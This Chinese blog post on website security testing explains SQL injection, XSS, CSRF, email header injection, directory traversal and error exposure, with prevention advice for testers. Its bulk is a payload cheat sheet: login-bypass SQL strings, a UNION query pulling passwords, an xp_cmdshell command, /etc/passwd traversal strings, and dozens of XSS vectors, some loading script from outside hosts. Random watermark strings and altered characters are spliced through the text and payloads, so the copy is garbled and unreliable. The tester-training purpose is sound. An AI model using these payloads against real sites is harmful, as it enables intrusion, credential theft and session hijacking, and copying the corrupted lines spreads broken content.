安全性测试系列-如何对网站进行安全性测试

上一篇 / 下一篇  2009-12-25 17:49:21 / 个人分类:安全性测试

1.SQL Injection(SQL 注入)

  (1)如何进行SQL注入测试?
'gvcP`[ SIW0

*Xv ql+c-NF*f%j0
  • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.
-T5Y X!dWW1c^0

<form. id="form_search" action="/search/" method="get">51Testing软件测试网g%~'@&Lh)| {c

<div>

f {OI4NH%X!Ai C7DC9^&b0

<input type="text" name="q" id="search_q" value="" />

[%F8R `|#J/x0

<input name="search" type="image" src="/media/images/site/search_btn.gif" />51Testing软件测试网)M z [D$zv"J

<a href="/search/" class="fl">Gamefinder</a>51Testing软件测试网?x4DX ^KLg1b

</div>

ckL.HF\0</form>
51Testing软件测试网)Xr(W oe5@ I6? E|fN
注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
b~gF6S(Z]0
  • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

注1:根据实际情况,SQL注入请求可以使用以下语句:

:AFg+NVpV.Z0

' or 1=1- -51Testing软件测试网W7v;A Fe

" or 1=1- -

H rM$p~$N0nVq0

or 1=1- -

`m3?u yy)Y0

' or 'a'='a

/aQC ~BG0

" or "a"="a

1L FB*kU+Y%N0

') or ('a'='a 51Testing软件测试网)C;l1_ zn'I
   注2:为什么是OR,以及',――特殊的字符呢?

-A(Z&?I4d)T\0

例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password'51Testing软件测试网dkY#|1?vj| ItZ

如 输入http://duck/index.asp?username=admin' or 1='1&pwd=11SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11'51Testing软件测试网Tx~N%}h-c;H

'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.
:Dq? @6z0

U;XN#T\cT3z0

接下来是OR查询条件,OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

+FJ2LjZ1AB6M"o0

如 输入http://duck/index.asp?username=admin'--&pwd=11SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',51Testing软件测试网6s5\*bdF:Q^

 '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行51Testing软件测试网-m&Qx2jNO6B
 接下来是"--"查询条件,“--”
是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
  • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
  • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
  (2)如何预防SQL注入?51Testing软件测试网+Br0_6x(P+i
51Testing软件测试网 {7[ f/X6j0w!v%P1Mp
  从应用程序的角度来讲,我们要做以下三项工作:
8?I3F$sV-e6m3T*m$E0
  • 转义敏感字符及字符串(SQL的敏感字符包括exec,xp_,sp_,declare,Union,cmd,+,//,..,;,,--,%,0x,><=!-*/()|,空格”).
  • 屏蔽出错信息:阻止攻击者知道攻击的结果51Testing软件测试网*O pP$D(i

  • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
    |$j3d?PI051Testing软件测试网'u"slNdNSy|a

   从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
~MFo4Pz\0
  • 需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
  • 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
   当然在执行测试的过程中,我们也需求对上述两项内容进行测试.51Testing软件测试网"Q)~oo$Pbz EP

  2.Cross-site scritping(XSS):(跨站点脚本攻击)51Testing软件测试网]7s{0{J

  (1)如何进行XSS测试?
a WS,~6t)\h*Cj3D0

+\hex|{&G0
  • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
  • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

<scrīpt>alert(document.cookie)</scrīpt>51Testing软件测试网g`*i0f [7v

51Testing软件测试网)Y*o |1\4VVX


4W$Vz/w pFkL5T0      注:其它的XSS测试语句51Testing软件测试网 w"?i3J\

D5[Gl$vLxM0

7Y [}k9F-Sbg0

><scrīpt>alert(document.cookie)</scrīpt>51Testing软件测试网CL%Sg&p'i
='><scrīpt>alert(document.cookie)</scrīpt>51Testing软件测试网 f4R:M\ `
<scrīpt>alert(document.cookie)</scrīpt>51Testing软件测试网&?2h U*PQ7Kx
<scrīpt>alert(vulnerable)</scrīpt>
'_8W2q:wg)~0%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E51Testing软件测试网gU*z?Q#u
<scrīpt>alert('XSS')</scrīpt>
@.r3^#zz8n+?&Y0<img src="javascrīpt:alert('XSS')">
1ZQ[$o\Y3g^2y5k0%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp51Testing软件测试网$G!d,rH%?
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
?YLH9h$X(L0%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
zUmmA&t9p#xXW0%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
3t2d#`0["[N-g~8pq/}8z0%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e51Testing软件测试网0`,|u1X6O:Y+l
%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
fu&u'f1Y.ZI0%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html51Testing软件测试网%U7_f&j r/`+e*z
%3f.jsp51Testing软件测试网5W~9Eimz$T
%3f.jsp
,OP9U.i+k0|Db0&lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
A'|nG2V5E&G[0<scrīpt>alert('Vulnerable')</scrīpt>
!Y D"UCB&f*g0?sql_debug=151Testing软件测试网+q V2zz8TO(`;F-c
a%5c.aspx51Testing软件测试网XV5R5q pu
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
+v/Qdu-Z$t l-Ql0a/
(eM;e;YsG1?0a?<scrīpt>alert('Vulnerable')</scrīpt>51Testing软件测试网u5HN q Z4l3Y
"><scrīpt>alert('Vulnerable')</scrīpt>51Testing软件测试网6k8r/wt wF
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
0J?8qvhvurTN0%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
5fX%c5?)|#y%?0%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&51Testing软件测试网LSv'U&ixb^Q
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
zz,s\J01%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
9MsbpP/@0../../../../../../../../etc/passwd51Testing软件测试网C:mUf N!mg$Q @f_
..\..\..\..\..\..\..\..\windows\system.ini
!O0A5qGi]R0\..\..\..\..\..\..\..\..\windows\system.ini51Testing软件测试网k^6Y,W#pH]
'';!--"<XSS>=&{()}
#V)B W'eK)q,UT0<IMG SRC="javascrīpt:alert('XSS');">
Bn jr9g3Pv E0<IMG SRC=javascrīpt:alert('XSS')>51Testing软件测试网{ as$wQ
<IMG SRC=javascrīpt:alert('XSS')>
g.VdR,{t.Mk0<IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
yG|'Hv;g;C{0<IMG SRC=javascrīpt:alert('XSS')>51Testing软件测试网^+H YV$Bm
<IMG SRC=javascrīpt:alert('XSS')>51Testing软件测试网\x5k5^cL"oR3or
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>51Testing软件测试网G-N AUM8g
<IMG SRC="jav ascrīpt:alert('XSS');">51Testing软件测试网NW9},eaA
<IMG SRC="jav ascrīpt:alert('XSS');">51Testing软件测试网+Y9| _H[+w i ?
<IMG SRC="jav ascrīpt:alert('XSS');">
7|mx L6wI ]_#OW u2?0"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
&V"IK)] u O0<IMG SRC=" javascrīpt:alert('XSS');">51Testing软件测试网3zw prg b&zh
<scrīpt>a=/XSS/alert(a.source)</scrīpt>51Testing软件测试网!|x8?!x$l \}ia
<BODY BACKGROUND="javascrīpt:alert('XSS')">51Testing软件测试网,[4_)VN T,w E
<BODY ōNLOAD=alert('XSS')>
#x1A7WJKNa0<IMG DYNSRC="javascrīpt:alert('XSS')">
Ng2o-D L'[ j!Rb0<IMG LOWSRC="javascrīpt:alert('XSS')">
)Ch i!}D/[}1UE I0<BGSOUND SRC="javascrīpt:alert('XSS');">
8e:c!D!R8o,NZ(WYS0<br size="&{alert('XSS')}">
_l!X;V5TA0<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
*[ iH E,NG^n2j0<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">51Testing软件测试网#~H!p+os9ODd
<IMG SRC='vbscrīpt:msgbox("XSS")'>51Testing软件测试网/Jw&h)C.h8u;f
<IMG SRC="mocha:[code]">
sv2j}0jjd%E ^0<IMG SRC="livescrīpt:[code]">51Testing软件测试网9Tx{c*U {0U+t }L
<META. HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">51Testing软件测试网 g5l*Wf~
<IFRAME. SRC=javascrīpt:alert('XSS')></IFRAME>
"X&P+ms.N h0<FRAMESET><FRAME. SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>51Testing软件测试网 JkVL YP,J;u
<TABLE BACKGROUND="javascrīpt:alert('XSS')">
4_u6tYq0<DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
0J{6C$yO[^O x#Z}0<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
|3|!Nj4P0<DIV STYLE="width: expression(alert('XSS'));">51Testing软件测试网 Ge{E1i6Y/}*N9O
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
/qbh2C~J2F(J1A0{Um0<IMG STYLE='xss:expre\ssion(alert("XSS"))'>51Testing软件测试网bE?0pDT'Y M
<STYLE. TYPE="text/javascrīpt">alert('XSS');</STYLE>
2a$y c9N,^j4G&h*a0<STYLE. TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>51Testing软件测试网C]#u#bx,Kj'Me0vc
<STYLE. type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>51Testing软件测试网6l}+GS9@)\)`9`"x,E2L
<BASE HREF="javascrīpt:alert('XSS');//">
NO Q4z;H0g(S0getURL("javascrīpt:alert('XSS')")
"gY5D$S%HuA0a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);51Testing软件测试网(v+RE1@_]
<XML SRC="javascrīpt:alert('XSS');">
-PiN]ds"v^n$X8C0"> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"51Testing软件测试网a ?$C8i'E*El_
<scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>51Testing软件测试网D?2qS9l4Q{S2f
<IMG SRC="javascrīpt:alert('XSS')"51Testing软件测试网dQ^n,L*gX8~(t$R
<!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->51Testing软件测试网QR2m2b$OM
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">51Testing软件测试网;N'F o R{4Z6zJ
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>51Testing软件测试网I.g&FE#d R
<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
O Z,^|g @0<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>51Testing软件测试网 bF:^#W5H;q!^
<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>51Testing软件测试网gnWQx5@gA [-D
<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>51Testing软件测试网\ g6l.kd6JQ)W.C
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
 51Testing软件测试网%qJek BjK


5B@6X{!Ixd0
  • 最后,当用户浏览时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
  • 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
  (2)如何预防XSS漏洞?51Testing软件测试网M&TVL pV7U
    从应用程序的角度来讲,要进行以下几项预防:
i0j,RLy+qW1X%_0I0
  • Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
  • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
    从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
  • 在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
  • 执行测试过程中也应对上述项进行检查。51Testing软件测试网].`0w-j ['{mS6t
 
/v PoxTa0  3.CSRF:(跨站点伪造请求)51Testing软件测试网/Iurp1TVO
    CSRF尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。
ARI$r!I.h;y h0    XSS是利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。51Testing软件测试网Y9| La)m:q
    XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES(关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG:http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),51Testing软件测试网*cp5]dy%i/t l
   (1)如何进行CSRF测试?51Testing软件测试网`'}4jW&t)T]!vw
    关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。
.i`Qc W b5C2tE0   (2)如何预防CSRF漏洞?
&S7B.V5[(b^1xgm0 4.Email Header Injection(邮件标头注入)  
+H$of^3D$|4{v0    Email Header Injection
:如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题),我们要验证subject中应能escape掉“\n”标识。
  • <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行,如果在subject中输入“hello\ncc:spamvictim@example.com”,可能会形成以下
Subject: hello
cc: spamvictim@example.com
  • <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。
    )UR { W_*tt0
  5.Directory Traversal(目录遍历)
,L3E o8m+h"v0   (1)如何进行目录遍历测试?
P h"I Y(O;Q0
  • 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
  • 测试方法:URL中输入一定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。
    @0EUc~q%^ `*E0
   (2)如何预防目录遍历?51Testing软件测试网[*tG1oy C
  • 限制Web应用在服务器上的运行
  • 进行严格的输入验证,控制用户输入非法路径
 6.exposed error messages(错误信息)
,O8p {6`)ji6q?x(N0
  (1)如何进行测试?51Testing软件测试网F~ X!a\!m0`!R
  • 首先找到一些错误页面,比如404,或500页面。
  • 验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存在”等,而并非曝露一些程序代码。51Testing软件测试网qs9B"zg
  (2)如何预防?51Testing软件测试网_!Dp8PtL
  • 测试人员在进行需求检查时,应该对出错信息进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。

TAG: 安全性测试

sly_leo的个人空间 引用 删除 sly_leo   /   2012-05-10 16:19:12
5
hangxin06066的个人空间 引用 删除 hangxin06066   /   2012-02-15 16:03:18
5
七星海棠的个人空间 引用 删除 七星海棠   /   2011-11-09 18:58:13
5
moyiyun的个人空间 引用 删除 moyiyun   /   2011-11-09 11:24:17
不错,讲的挺详细的
moyiyun的个人空间 引用 删除 moyiyun   /   2011-11-09 11:23:50
-5
 

评分:0

我来说两句

Open Toolbar